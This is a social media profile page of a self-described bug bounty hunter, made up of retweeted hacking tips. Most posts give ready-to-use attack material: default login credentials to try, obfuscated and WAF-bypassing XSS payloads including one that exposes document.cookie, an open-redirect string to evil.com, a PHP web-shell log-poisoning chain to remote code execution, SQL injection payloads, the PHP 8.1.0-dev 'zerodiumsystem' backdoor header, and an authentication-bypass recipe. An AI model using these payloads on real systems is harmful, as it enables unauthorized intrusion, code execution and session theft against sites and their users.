|CTF Player| |Bug Bounty Hunter| |Hacker|
Joined January 2021
- Tweets779
- Following279
- Followers381
- Likes85
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Simple testing on the login page can lead to easy $$$$ Try these default credentials. (I got 3,4 bounties)
email1:test@comp.com
pass1: test@comp.com
email2:support@comp.com
pass2:support@comp.com
email3:sales@comp.com
pass3:sales@comp.com
#bugbountytips #hacking #BugBounty
Nasim Mostakim (TomCat) 🇧🇩 retweeted
- First Test with (htt[]ps://web.archive.org/cdx/search/cdx?url=*.domain&fl=original&collapse=urlkey)
- Found a subdomain (sub.domain[.]com/scripts/sys_getpass.php?usercode=1)
- Sql Injection found here :D
- I was awarded a $4,050 bounty :D
#TogetherWeHitHarder
Nasim Mostakim (TomCat) 🇧🇩 retweeted
XSS Payload Written in Inuktitut 📜
ᐊ='',ᐃ=!ᐊ+ᐊ,ᐅ=!ᐃ+ᐊ,ᐱ=ᐊ+{},ᑎ=ᐃ[ᐊ++],ᓇ=ᐃ[ᓕ=ᐊ],ᓯ=++ᓕ+ᐊ,ᓂ=ᐱ[ᓕ+ᓯ],
ᐃ[ᓂ+=ᐱ[ᐊ]+(ᐃ.ᐅ+ᐱ)[ᐊ]+ᐅ[ᓯ]+ᑎ+ᓇ+ᐃ[ᓕ]+ᓂ+ᑎ+ᐱ[ᐊ]+ᓇ]
[ᓂ](ᐅ[ᐊ]+ᐅ[ᓕ]+ᐃ[ᓯ]+ᓇ+ᑎ+"('ᐊᐃᓐᓇᓂᐅᑦ ᐱᔭᓯᓕᖅ')")()
#CyberSecurity #XSS
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Alhamdulillah, just discovered a new bug!
-Tip:
When hunting Open Redirects, try inserting
//evil.com/..;/css in the URL
The server treats it as a local path but the browser redirects outside
Add a .js or .css file at the end.
#CyberSecurity #Hacker101 #bugbountytips #BugBounty
Nasim Mostakim (TomCat) 🇧🇩 retweeted
🧠 Server Log Injection + LFI → RCE
1️⃣ App logs user-agent or URL to server logs
2️⃣ Attacker injects PHP payload: <?php system($_GET[0]); ?>
3️⃣ LFI points to log file: ?page=/var/log/access.log
4️⃣ Payload executed → Remote Code Execution
🎯 From logs to shell
#bugbounty #lfi
Nasim Mostakim (TomCat) 🇧🇩 retweeted
/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=<svg xmlns%3D"http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg"><script>prompt("XSS")<%2Fscript><%2Fsvg>&domain=(empty_domain)&computer=computer
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Triple Fuzzing :-
If you for example have https://test[.]com:8443/phpmyadmin
# Fuzz :-
1- https://test[.]com/FUZZ
2- https://test[.]com:8443/FUZZ
3- https://test[.]com:8443/phpmyadmin/FUZZ
This technique helped me in getting sensitive files & directories
#bugbountytips
Nasim Mostakim (TomCat) 🇧🇩 retweeted
SQLi Pentest Toolkit
Learn & test SQLi hands-on!
🔹 Multi-DB support
🔹 Auto commands + Dorks
🔹 LOXS (time-based)
🔹 Tutorials & method
👨💻 By @adce626 & @coffinxp7
⚠️ Legal & educational use only
🌐 adce626.github.io/SQLi-Pente…
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Want to zero in on endpoints with query parameters only?
Use Katana’s -f qurl flag to extract URLs with query strings!
Perfect for targeting inputs that may be vulnerable.
Nasim Mostakim (TomCat) 🇧🇩 retweeted
I was awarded $5,000 after discovering a hidden endpoint using this extension: chromewebstore.google.com/de…
Nasim Mostakim (TomCat) 🇧🇩 retweeted
rXSS via url parameter
1. I discovered reflection in a URL parameter
2. All inputs I submitted were being HTML encoded
3. I submitted the following input: https://sss'"<>, and in the response, my payload was displayed without proper sanitization.
#xss #BugBounty #infosec
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Some #bugbounty hunters made over €50.000 in bug bounties with this simple trick. 🤑 Thanks for the #BugBountyTip @rez0__
credits: @intigriti
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Google Dork - Publicly Disclosed XSS:
site:openbugbounty.org inurl:reports intext:"<target>.com"
1. Bypass previously “fixed” XSS
2. Escalate SSRF w/ unpatched open redirects
#recon #xss #bugbountytips #bugbounty #hacking #infosec
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Yeswiki : Unauthenticated Path Traversal
CVE-2025-31131
Severity : Critical
Exploit : github.com/MuhammadWaseem29/…
Refrence : github.com/advisories/GHSA-w…
#bugbounty #CVE2025_31131 #YesWiki #PathTraversal
Nasim Mostakim (TomCat) 🇧🇩 retweeted
1- Found path for portal in wayback
2- Fuzz it
3- Found login page
4- Another Fuzzing
5- See /manage-users.php with big content length but 302 status
6- Setup match & replace with 302 to 200
7- Bypass authentication and access to admin panel
#bugbountytips #bugbounty
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Sql Injection #Payload Add to your List
%6c%75%33%6b%79%31%33' AND 1=CAST((SELECT version()) AS int) --
#bugbountytips #bugbounty #hackerone #SqlInjection #sqli
Nasim Mostakim (TomCat) 🇧🇩 retweeted
If you find PHP 8.1.0-dev then try RCE & SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');
#bugbounty #bugbountytips #rce #sqli
Nasim Mostakim (TomCat) 🇧🇩 retweeted
Good morning! I've been using this payload for over a year to discover XSS via open redirect vulnerabilities that bypass WAF. It works great: :DD
Payload: javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie
#BugBounty #bugbountytips #bugbountytip
